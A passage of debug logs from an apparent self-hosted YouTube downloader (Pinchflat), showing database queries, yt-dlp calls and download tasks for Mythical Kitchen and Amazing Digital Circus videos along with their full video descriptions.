https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1566, "filename" => "/downloads/Last Meals/2023-04-18 Peyton List Eats Her Last Meal/Peyton List Eats Her Last Meal [ZpREYArDzQY].mp4", "id" => "ZpREYArDzQY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZpREYArDzQY", "playlist_index" => 64, "timestamp" => 1681812025, "title" => "Peyton List Eats Her Last Meal", "upload_date" => "20230418"} 20:48:35.672 [debug] QUERY OK source="sources" db=0.1ms idle=1542.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:35.672 [debug] QUERY OK source="sources" db=0.1ms idle=1541.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:35.672 [debug] QUERY OK source="media_items" db=0.2ms idle=1541.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-18 10:00:25Z], 1] 20:48:35.674 [debug] QUERY OK source="media_items" db=0.9ms idle=1540.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Peyton List's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Peyton List Eats Her Last Meal", "dddf6988-5bfc-4a54-8029-c5cf82bce20a", "https://www.youtube.com/watch?v=ZpREYArDzQY", false, "ZpREYArDzQY", 1566, false, 64, "/downloads/Last Meals/2023-04-18 Peyton List Eats Her Last Meal/Peyton List Eats Her Last Meal [ZpREYArDzQY].mp4", false, false, 1, [], 0, ~U[2023-04-18 10:00:25Z], ~U[2026-03-28 00:48:35Z], ~U[2026-03-28 00:48:35Z], "Today, Josh is cooking Peyton List's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Peyton List Eats Her Last Meal", "https://www.youtube.com/watch?v=ZpREYArDzQY", "ZpREYArDzQY", 1566, false, "/downloads/Last Meals/2023-04-18 Peyton List Eats Her Last Meal/Peyton List Eats Her Last Meal [ZpREYArDzQY].mp4", false, 1, ~U[2023-04-18 10:00:25Z]] 20:48:35.674 [debug] QUERY OK source="sources" db=0.0ms idle=556.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:35.674 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:35.674 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [65] 20:48:35.674 [info] Kicking off download for media item #65 (ZpREYArDzQY) 20:48:35.675 [debug] QUERY OK source="tasks" db=0.0ms idle=1.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [70, 65, ~U[2026-03-28 00:48:35Z], ~U[2026-03-28 00:48:35Z]] 20:48:35.675 [debug] Current batch of media processed. Will check again in 1000ms 20:48:36.133 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The gang are BACK for a WAaAaAaACKY candy filled adventure! They also discover that their lives literally have no meaning. Woohoo! So waaccky!!!!! \n\nALSOOO we just dropped the entire main Digital Circus characters as PLUSHIES!!!: https://digitalcircus.store/ Consider getting one to help support the production of more episodes. No pressure though! Have a great day ❤️", "duration" => 1514, "filename" => "/downloads/TADC/2024-05-03 THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!/THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos! [4ofJpOEXrZs].mp4", "id" => "4ofJpOEXrZs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4ofJpOEXrZs", "playlist_index" => 2, "timestamp" => 1714773608, "title" => "THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!", "upload_date" => "20240503"} 20:48:36.133 [debug] QUERY OK source="sources" db=0.0ms idle=458.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:48:36.133 [debug] QUERY OK source="sources" db=0.0ms idle=458.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:36.133 [debug] QUERY OK source="media_items" db=0.0ms idle=458.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-03 22:00:08Z], 2] 20:48:36.134 [debug] QUERY OK source="media_items" db=0.2ms idle=458.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The gang are BACK for a WAaAaAaACKY candy filled adventure! They also discover that their lives literally have no meaning. Woohoo! So waaccky!!!!! \n\nALSOOO we just dropped the entire main Digital Circus characters as PLUSHIES!!!: https://digitalcircus.store/ Consider getting one to help support the production of more episodes. No pressure though! Have a great day ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!", "97b3ce25-efba-4920-baa4-5ade5eb10b8b", "https://www.youtube.com/watch?v=4ofJpOEXrZs", false, "4ofJpOEXrZs", 1514, false, 2, "/downloads/TADC/2024-05-03 THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!/THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos! [4ofJpOEXrZs].mp4", false, false, 2, [], 0, ~U[2024-05-03 22:00:08Z], ~U[2026-03-28 00:48:36Z], ~U[2026-03-28 00:48:36Z], "The gang are BACK for a WAaAaAaACKY candy filled adventure! They also discover that their lives literally have no meaning. Woohoo! So waaccky!!!!! \n\nALSOOO we just dropped the entire main Digital Circus characters as PLUSHIES!!!: https://digitalcircus.store/ Consider getting one to help support the production of more episodes. No pressure though! Have a great day ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!", "https://www.youtube.com/watch?v=4ofJpOEXrZs", "4ofJpOEXrZs", 1514, false, "/downloads/TADC/2024-05-03 THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!/THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos! [4ofJpOEXrZs].mp4", false, 2, ~U[2024-05-03 22:00:08Z]] 20:48:36.134 [debug] QUERY OK source="sources" db=0.0ms idle=15.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:36.134 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:36.134 [debug] QUERY OK source="media_items" db=0.0ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [66] 20:48:36.134 [info] Kicking off download for media item #66 (4ofJpOEXrZs) 20:48:36.135 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [71, 66, ~U[2026-03-28 00:48:36Z], ~U[2026-03-28 00:48:36Z]] 20:48:36.135 [debug] Current batch of media processed. Will check again in 1000ms 20:48:36.549 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB- --skip-download --convert-thumbnails jpg --output /tmp/pinchflat/data/f064ca8e49bb65f5/source_image.%(ext)S --write-thumbnail --playlist-items 1 --print-to-file playlist:%()j /tmp/pinchflat/data/ca/6a/ca6aca0982690a00a1a386abc41db893f1817a0d0dd111e13c0cc57ed918a725.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:48:36.559 [debug] QUERY OK db=0.0ms idle=424.9ms begin [] 20:48:36.559 [debug] QUERY OK source="sources" db=0.0ms UPDATE "sources" SET "description" = ?, "updated_at" = ? WHERE "id" = ? ["The Amazing Digital Circus is a psychological dark comedy about cute cartoon characters who hate their lives and want to leave 🎪😀", ~U[2026-03-28 00:48:36Z], 2] 20:48:36.559 [debug] QUERY OK source="source_metadata" db=0.0ms INSERT INTO "source_metadata" ("metadata_filepath","source_id","poster_filepath","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/sources/2/metadata.json.gz", 2, "/config/metadata/sources/2/poster.jpg", ~U[2026-03-28 00:48:36Z], ~U[2026-03-28 00:48:36Z]] 20:48:36.560 [debug] QUERY OK db=0.0ms commit [] 20:48:36.560 [info] {"args":{"id":2},"id":65,"meta":{},"state":"success","max_attempts":3,"queue":"remote_metadata","worker":"Pinchflat.Metadata.SourceMetadataStorageWorker","source":"oban","duration":6870353,"event":"job:stop","queue_time":689388,"attempt":1,"tags":["media_source","source_metadata","remote_metadata","show_in_dashboard"]} 20:48:36.676 [debug] Current batch of media processed. Will check again in 1000ms 20:48:37.136 [debug] Current batch of media processed. Will check again in 1000ms 20:48:37.677 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking the meal he would want on death row. MK # 086\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/ga4DVQDMoi7pL1GcA\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nTime Codes:\n--------------------------\nFirst Course - 1:15\nSecond Course - 6:38\nThird Course - 11:44\n\nRecipe:\n--------------------------\nStep 1: Make the shrimp cocktail\nIngredients\n* Jumbo shrimp\n* Peppercorns\n* Salt\n* Garlic\n* Lemons\n* Bay leaf\n* Parsley\n* Dashi concentrate\n* Ice bath\nSauce\n* Ketchup\n* Worcestershire\n* Lemon\n* Hot sauce\n* Horseradish\n\n1) Peel and devein the shrimp.\n2) Toast peppercorns in the pot then add water, dashi concentrate, garlic, bay leaf, salt, and parsley.\n3) Add the shrimp and boil for a two minutes then pull and add to an ice bath,\n4) While shrimp is icebathing, whisk together the stuff for the cocktail sauce.\n5) Plate it.\n\nEquipment\n* Large saucepot\n* Spider\nI* ce bath in mixing bowl\n* Whisk\n* Medium mixing bowl\n* Martini glass filled with shredded iceberg lettuce\n\nStep 2: Make the garlic bread with ranch\nIngredients\n* 1 loaf ciabatta bread (preferably long, like a baguette)\n* Softened unsalted butter\n* 5 garlic cloves\n* Garlic powder\n* Chopped parsley\n* Salt and pepper\n* Ranch\n* Mayonnaise\n* Sour cream\n* Worcestershire\n* Red wine vinegar\n* Chopped parsley\n* Chopped chives\n* Dill\n* Black pepper\n* Crumbled Humboldt fog cheese\n* Milk\n\n1) Heat the oven to 500 degrees and cut the loaf of bread in half.\n2) Grate the garlic cloves into the butter then add garlic powder, black pepper, salt, and parsley.\n3) Spread the butter thickly on the bread and toast it for 8 minutes.\n4) Whisk all the ranch things together,\n\nEquipment\n* 2 medium mixing bowls\n* Whisk\n* Silicone spatula\n* Little condiment bowl\n* Baking sheet + rack\n\nStep 3: Carne asada burrito\nIngredients\n* 1 lb nice-ass rib-eye steak\n* Salt\n* Pepper\n* Paprika\n* Onion powder\n* Garlic\n* Chili powder\n* 2 ripe avocados\n* Chopped white onion\n* Chopped cilantro\n* Chopped jalapeno\n* Lime wedges\n* Shredded jack cheese\n1 Burrito Grande riquisimas tortilla\n1 bowl pico de gallo\n* Bottle of arizona gunslinger hot sauce\n\n1) Finely dice rib eye and add seasonings to it. Mash it together with your hands.\n2) Put avocado into a bowl and add lime juice, salt, onion, jalapeno, and cilantro. \n3) Heat veg oil in a cast iron on high heat and add the steak. Cook until nicely charred for ab" <> ..., "duration" => 1317, "filename" => "/downloads/Last Meals/2021-10-28 Josh Eats His Last Meal/Josh Eats His Last Meal [IzrU7pGbusU].mp4", "id" => "IzrU7pGbusU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=IzrU7pGbusU", "playlist_index" => 65, "timestamp" => 1635415209, "title" => "Josh Eats His Last Meal", "upload_date" => "20211028"} 20:48:37.678 [debug] QUERY OK source="sources" db=0.2ms idle=1542.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:37.678 [debug] QUERY OK source="sources" db=0.1ms idle=1118.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", 